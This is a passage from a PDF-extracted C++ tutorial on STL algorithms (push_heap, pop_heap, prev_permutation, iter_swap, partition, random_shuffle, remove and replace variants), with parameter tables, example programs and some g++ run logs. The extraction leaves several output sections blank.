- Removes the largest element from the front of a heap to the next-to-last position in the range and then
forms a new heap from the remaining elements.

template<class RandomAccessIterator>
void pop_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void pop_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);

Parameters

www.tenouk.com Page 33 of 40
Parameter Description
A random-access iterator addressing the position of the first element in the
_First
heap.
A random-access iterator addressing the position one past the final element in
_Last
the heap.
User-defined predicate function object that defines sense in which one element
_Comp is less than another. A binary predicate takes two arguments and returns true
when satisfied and false when not satisfied.

Table 35.17

- The pop_heap() algorithm is the inverse of the operation performed by the push_heap()
algorithm, in which an element at the next-to-last position of a range is added to a heap consisting of
the prior elements in the range, in the case when the element being added to the heap is larger than any
of the elements already in the heap.
- As mentioned before, heaps have two properties:

▪ The first element is always the largest.


▪ Elements may be added or removed in logarithmic time.

- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
Standard Template Library container adaptor priority_queue Class.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The range excluding the newly added element at the end must be a heap.
- The complexity is logarithmic, requiring at most log (_Last – _First) comparisons.

//algorithm, pop_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 1; i <= 9; i++)
vec.push_back(i);

//Make vec a heap with default less than ordering


cout<<"Operation: random_shuffle(vec.begin(), vec.end())\n";
random_shuffle(vec.begin(), vec.end());
make_heap(vec.begin(), vec.end());
cout<<"The heaped version of vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Add an element to the back of the heap


vec.push_back(11);
push_heap(vec.begin(), vec.end());
cout<<"The reheaped vec data with 11 added:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove the largest element from the heap


cout<<"\nOperation: pop_heap(vec.begin(), vec.end()).\n";
pop_heap(vec.begin(), vec.end());
cout<<"The heap vec data with 11 removed is:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec a heap with greater-than ordering with a 0 element


cout<<"\nOperation: make_heap(vec.begin(), vec.end(), greater<int>()).\n";
make_heap(vec.begin(), vec.end(), greater<int>());
vec.push_back(0);

www.tenouk.com Page 34 of 40
push_heap(vec.begin(), vec.end(), greater<int>());
cout<<"The greater than reheaped vec data puts the\nsmallest element first:";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Application of pop_heap to remove the smallest element


cout<<"\nOperation: pop_heap(vec.begin(), vec.end(), greater<int>()).\n";
pop_heap(vec.begin(), vec.end(), greater<int>());
cout<<"The greater than heaped vec data with the smallest element\nremoved from
the heap is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output

prev_permutation()

- Reorders the elements in a range so that the original ordering is replaced by the lexicographically next
greater permutation if it exists, where the sense of next may be specified with a binary predicate.

template<class BidirectionalIterator>
bool prev_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class BinaryPredicate>
bool prev_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A bidirectional iterator pointing to the position of the first element in the range to
_First
be permuted.
A bidirectional iterator pointing to the position one past the final element in the
_Last
range to be permuted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 35.18

www.tenouk.com Page 35 of 40
- The return value is true if the lexicographically previous permutation exists and has replaced the
original ordering of the range; otherwise false, in which case the ordering is transformed into the
lexicographically largest permutation.
- The range referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- The default binary predicate is less than and the elements in the range must be less-than comparable to
ensure that the next permutation is well defined.
- The complexity is linear, with at most (_Last – _First)/2 swap.

//algorithm, prev_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 10, ci2 = 15, ci3 = 20;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator d1_Iter;

deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);

cout<<"deque of CInts data: ";


for(d1_Iter = deq1.begin(); d1_Iter != --deq1.end(); d1_Iter++)
cout<<*d1_Iter<<",";
d1_Iter = --deq1.end();
cout<<*d1_Iter<<endl;

cout<<"\nOperation: prev_permutation(deq1.begin(), deq1.end()).\n";


deq1Result = prev_permutation(deq1.begin(), deq1.end());
if(deq1Result)
cout<<"The lexicographically previous permutation "
<<"exists and has\nreplaced the original "
<<"ordering of the sequence in deq1."<<endl;
else
cout<<"The lexicographically previous permutation doesn't "

www.tenouk.com Page 36 of 40
<<"exist\nand the lexicographically "
<<"smallest permutation\nhas replaced the "
<<"original ordering of the sequence in deq1."<<endl;

cout<<"\nAfter one application of prev_permutation(),\ndeq1 data: ";


for(d1_Iter = deq1.begin(); d1_Iter != --deq1.end(); d1_Iter++)
cout<<*d1_Iter<<",";
d1_Iter = --deq1.end();
cout<<*d1_Iter<<endl;

//Permutating vector elements with binary function mod_lesser


vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = -4; i <= 4; i++)
vec.push_back(i);

cout<<"\nVector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: prev_permutation(vec.begin(), vec.end(), mod_lesser).\n";


prev_permutation(vec.begin(), vec.end(), mod_lesser);
cout<<"After the first prev_permutation(), vector vec is:\n vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

int j = 1;
while (j <= 5)
{
prev_permutation(vec.begin(), vec.end(), mod_lesser);
cout<<"After another prev_permutation() of vector vec,\nvec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
j++;
}
return 0;
}

Output:

- Program examples compiled using g++.

www.tenouk.com Page 37 of 40
//*******algoiterswap.cpp*******
//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt(" <<rhs.m_nVal<< ")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;

deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);

cout<<"The deque of CInts data is:\n";


for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Exchanging first and last elements with iter_swap


iter_swap(deq.begin(), --deq.end());
cout<<"\nThe deque of CInts data with first and last\nelements swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping back first and last elements with swap


swap(*deq.begin(), *(deq.end() -1));

cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;

//Swapping a vector element with a deque element


vector <int> vec;
vector <int>::iterator Iter1;
deque <int> deq1;
deque <int>::iterator deq1Iter;

www.tenouk.com Page 38 of 40
int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);

int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);

cout<<"\nVector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nDeque deq1 data: ";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ algoiterswap.cpp -o algoiterswap


[bodo@bakawali ~]$ ./algoiterswap

The deque of CInts data is:


CInt(9), CInt(12), CInt(17)

The deque of CInts data with first and last


elements swapped is: CInt(17), CInt(12), CInt(9)

The deque of CInts data with first and last


elements re swapped is: CInt(9), CInt(12), CInt(17)

Vector vec data: 10 11 12 13 14

Deque deq1 data: 16 17 18 19 20

After exchanging first elements,


vector vec data is: 16 11 12 13 14
and deque deq1 data is: 10 17 18 19 20

//******algopartition.cpp*******
//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//user defined...
bool great(int value)
{return value >3;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: random_shuffle(vec1.begin(), vec1.end()).\n";


random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)

www.tenouk.com Page 39 of 40
cout<<*Iter1<<" ";
cout<<endl;

//Partition the range with predicate great


cout<<"\nOperation: partition(vec1.begin(), vec1.end(), great).\n";
partition(vec1.begin(), vec1.end(), great);
cout<<"The partitioned set of elements in vec1 is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ algopartition.cpp -o algopartition


[bodo@bakawali ~]$ ./algopartition

Vector vec1 data: 0 1 2 3 4 5 6 7 8 9 10

Operation: random_shuffle(vec1.begin(), vec1.end()).


Vector vec1 data: 4 10 7 8 0 5 2 1 6 9 3

Operation: partition(vec1.begin(), vec1.end(), great).


The partitioned set of elements in vec1 is:
4 10 7 8 9 5 6 1 2 0 3

---------------------------------------------End of Algorithm part III--------------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 40 of 40
MODULE 36
--THE STL--
ALGORITHM PART IV

My Training Period: hours

Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
examples given at the end of this Module.

Abilities

▪ Able to understand and use the member functions of the algorithm.


▪ Appreciate how the usage of the template classes and functions.
▪ Able to use containers, iterators and algorithm all together.

36.1 Continuation from previous Module…

push_heap()

- Adds an element that is at the end of a range to an existing heap consisting of the prior elements in the
range.

template<class RandomAccessIterator>
void push_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void push_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
_First A random-access iterator addressing the position of the first element in the heap.
A random-access iterator addressing the position one past the final element in the
_Last
range to be converted into a heap.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.

Table 36.1

- The element must first be pushed back to the end of an existing heap and then the algorithm is used to
add this element to the existing heap. Repeat again, heaps have two properties:

▪ The first element is always the largest.


▪ Elements may be added or removed in logarithmic time.

- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
STL container adaptor priority_queue Class.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The range excluding the newly added element at the end must be a heap.
- The complexity is logarithmic, requiring at most log (_Last – _First) comparisons.

//algorithm, push_heap()
//make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

www.tenouk.com Page 1 of 32
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Given vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with default less than ordering


cout<<"\nmake_heap()..."<<endl;
make_heap(vec1.begin(), vec1.end());
cout<<"The default heaped version of vector vec1:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Add elements to the heap


cout<<"\npush_back() some data...\n";
vec1.push_back(11);
vec1.push_back(12);
cout<<"The new heap vec1 with data pushed back:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end());
cout<<"The default reheaped vec1 with data added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with greater than ordering


cout<<"\nmake_heap()..."<<endl;
make_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater than heaped version of vec1 data:\n ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\npush_back()..."<<endl;
vec1.push_back(0);
cout<<"The greater than heap vec1 with 13 pushed back is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater than reheaped vec1 with 13 added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 2 of 32
random_shuffle()

- Rearranges a sequence of N elements in a range into one of N! possible arrangements selected at


random.

template<class RandomAccessIterator>
void random_shuffle(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class RandomNumberGenerator>
void random_shuffle(
RandomAccessIterator _First,
RandomAccessIterator _Last,
RandomNumberGenerator& _Rand
);

Parameters

Parameter Description
A random-access iterator addressing the position of the first element in the range to
_First
be rearranged.
A random-access iterator addressing the position one past the final element in the
_Last
range to be rearranged.
_Rand A special function object called a random number generator.

Table 36.2

- The two versions (refer to the templates) of the function differ in how they generate random numbers.
- The first version uses an internal random number generator and the second a random number generator
function object that is explicitly passed and can accept a seed value.

//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

www.tenouk.com Page 3 of 32
vector <int>::iterator Iter1;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

remove()

- Eliminates a specified value from a given range without disturbing the order of the remaining elements
and returning the end of a new range free of the specified value.

template<class ForwardIterator, class Type>


ForwardIterator remove(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range from
_First
which elements are being removed.
A forward iterator addressing the position one past the final element in the range
_Last
from which elements are being removed.
_Val The value that is to be removed from the range.

Table 36.3

www.tenouk.com Page 4 of 32
- The return value is a forward iterator addressing the new end position of the modified range, one past
the final element of the remnant sequence free of the specified value.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality.
- The list Class class has a more efficient member function version of remove(), which also re-links
pointers.

//algorithm, remove()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(8);

cout<<"Vector vec1 original data: is\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 random shuffle data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements with a value of 8


new_end = remove(vec1.begin(), vec1.end(), 8);

cout<<"Vector vec1 data with value 8 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//using erase, to change the sequence size


vec1.erase(new_end, vec1.end());

cout<<"Vector vec1 resized data with value 8 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

remove_copy()

www.tenouk.com Page 5 of 32
- Copies elements from a source range to a destination range, except that elements of a specified value
are not copied, without disturbing the order of the remaining elements and returning the end of a new
destination range.

template<class InputIterator, class OutputIterator, class Type>


OutputIterator remove_copy(
InputIterator _First,
InputIterator _Last,
OutputIterator _Result,
const Type& _Val
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the range from
_First
which elements are being removed.
An input iterator addressing the position one past the final element in the range
_Last
from which elements are being removed.
An output iterator addressing the position of the first element in the destination
_Result
range to which elements are being removed.
_Val The value that is to be removed from the range.

Table 36.4

- The return value is a forward iterator addressing the new end position of the destination range, one past
the final element of the copy of the remnant sequence free of the specified value.
- The source and destination ranges referenced must be valid; all pointers must be de-referenceable and
within the sequence the last position is reachable from the first by incrementation.
- There must be enough space in the destination range to contain the remnant elements that will be
copied after elements of the specified value are removed.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments.

//algorithm, remove_copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2(10);
vector <int>::iterator Iter1, Iter2, new_end;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

cout<<"The original vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements with a value of 5


new_end = remove_copy(vec1.begin(), vec1.end(), vec2.begin(), 5);

www.tenouk.com Page 6 of 32
cout<<"Vector vec1 is left unchanged as:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 is a copy of vec1 with the value 5 removed:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
}

Output:

remove_copy_if()

- Copies elements from a source range to a destination range, except that satisfying a predicate are not
copied, without disturbing the order of the remaining elements and returning the end of a new
destination range.

template<class InputIterator, class OutputIterator, class Predicate>


OutputIterator remove_copy_if(
InputIterator _First,
InputIterator _Last,
OutputIterator _Result,
Predicate _Pred
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the range
_First
from which elements are being removed.
An input iterator addressing the position one past the final element in the
_Last
range from which elements are being removed.
An output iterator addressing the position of the first element in the
_Result
destination range to which elements are being removed.
The unary predicate that must be satisfied is the value of an element is to be
_Pred
replaced.

Table 36.5

- The return value is a forward iterator addressing the new end position of the destination range, one past
the final element of the remnant sequence free of the elements satisfying the predicate.
- The source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position is reachable from the first by incrementation.
- There must be enough space in the destination range to contain the remnant elements that will be
copied after elements of the specified value are removed.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments.

//algorithm, remove_copy_if()
#include <vector>

www.tenouk.com Page 7 of 32
#include <algorithm>
#include <iostream>
using namespace std;

bool greathan(int value)


{ return value >7;}

int main()
{
vector <int> vec1, vec2(14);
vector <int>::iterator Iter1, Iter2, new_end;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

cout<<"The original vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements with a value greater than 7


new_end = remove_copy_if(vec1.begin(), vec1.end(),
vec2.begin(), greathan);

cout<<"After the remove_copy_if() the vector,\n"


<<" vec1 is left unchanged as ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 is a copy of vec1 with values greater "


<<"than 7 removed:\n";
for(Iter2 = vec2.begin(); Iter2 != new_end; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
}

Output:

remove_if()

- Eliminates elements that satisfy a predicate from a given range without disturbing the order of the
remaining elements and returning the end of a new range free of the specified value.

template<class ForwardIterator, class Predicate>


ForwardIterator remove(
ForwardIterator _First,
ForwardIterator _Last,
Predicate _Pred
);

Parameters

www.tenouk.com Page 8 of 32
Parameter Description
A forward iterator pointing to the position of the first element in the range
_First
from which elements are being removed.
A forward iterator pointing to the position one past the final element in the
_Last
range from which elements are being removed.
The unary predicate that must be satisfied is the value of an element is to
_Pred
be replaced.

Table 36.6

- The return value is a forward iterator addressing the new end position of the modified range, one past
the final element of the remnant sequence free of the specified value.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality.
- List has a more efficient member function version of remove which re-links pointers.

//algorithm, remove_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greathan(int value)


{return value >5;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;

int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(4);

cout<<"Original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Remove elements satisfying predicate greater than


new_end = remove_if(vec1.begin(), vec1.end(), greathan);

cout<<"Vector vec1 with elements greater than 5 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//using erase, to change the sequence size,


vec1.erase(new_end, vec1.end());

cout<<"Vector vec1 resized elements greater than 5 removed is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 9 of 32
replace()

- Examines each element in a range and replaces it if it matches a specified value.

template<class ForwardIterator, class Type>


void replace(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _OldVal,
const Type& _NewVal
);

Parameters

Parameter Description
A forward iterator pointing to the position of the first element in the range from
_First
which elements are being replaced.
A forward iterator pointing to the position one past the final element in the range
_Last
from which elements are being replaced.
_OldVal The old value of the elements being replaced.
_NewVal The new value being assigned to the elements with the old value.

Table 36.7

- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not replaced remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.

//algorithm, replace()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Replace elements with other values…

www.tenouk.com Page 10 of 32
replace (vec1.begin( ), vec1.end( ), 3, 23);
replace (vec1.begin( ), vec1.end( ), 7, 77);
replace (vec1.begin( ), vec1.end( ), 0, 21);

cout<<"The vector vec1 data with values replacement of 0, 3, 7 is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

replace_copy()

- Examines each element in a source range and replaces it if it matches a specified value while copying
the result into a new destination range.

template<class InputIterator, class OutputIterator, class Type>


OutputIterator replace_copy(
InputIterator _First,
InputIterator _Last,
OutputIterator _Result,
const Type& _OldVal,
const Type& _NewVal
);

Parameters

Parameter Description
An input iterator pointing to the position of the first element in the range from which
_First
elements are being replaced.
An input iterator pointing to the position one past the final element in the range from
_Last
which elements are being replaced.
An output iterator pointing to the first element in the destination range to where the
_Result
altered sequence of elements is being copied.
_OldVal The old value of the elements being replaced.
_NewVal The new value being assigned to the elements with the old value.

Table 36.8

- The value return is an output iterator pointing to the position one past the final element in the
destination range to where the altered sequence of elements is being copied.
- The source and destination ranges referenced must not overlap and must both be valid: all pointers
must be de-referenceable and within the sequences the last position is reachable from the first by
incrementation.
- The order of the elements not replaced remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.

//algorithm, replace_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

int main()

www.tenouk.com Page 11 of 32
{
vector <int> vec1;
list <int> lst1 (15);
vector <int>::iterator Iter1;
list <int>::iterator lstIter;

int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);

int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);

cout<<"The original vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

random_shuffle(vec1.begin(), vec1.end());
int k;
for (k = 0; k <= 15; k++)
vec1.push_back(1);

cout<<"The original random shuffle vector vec1 with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

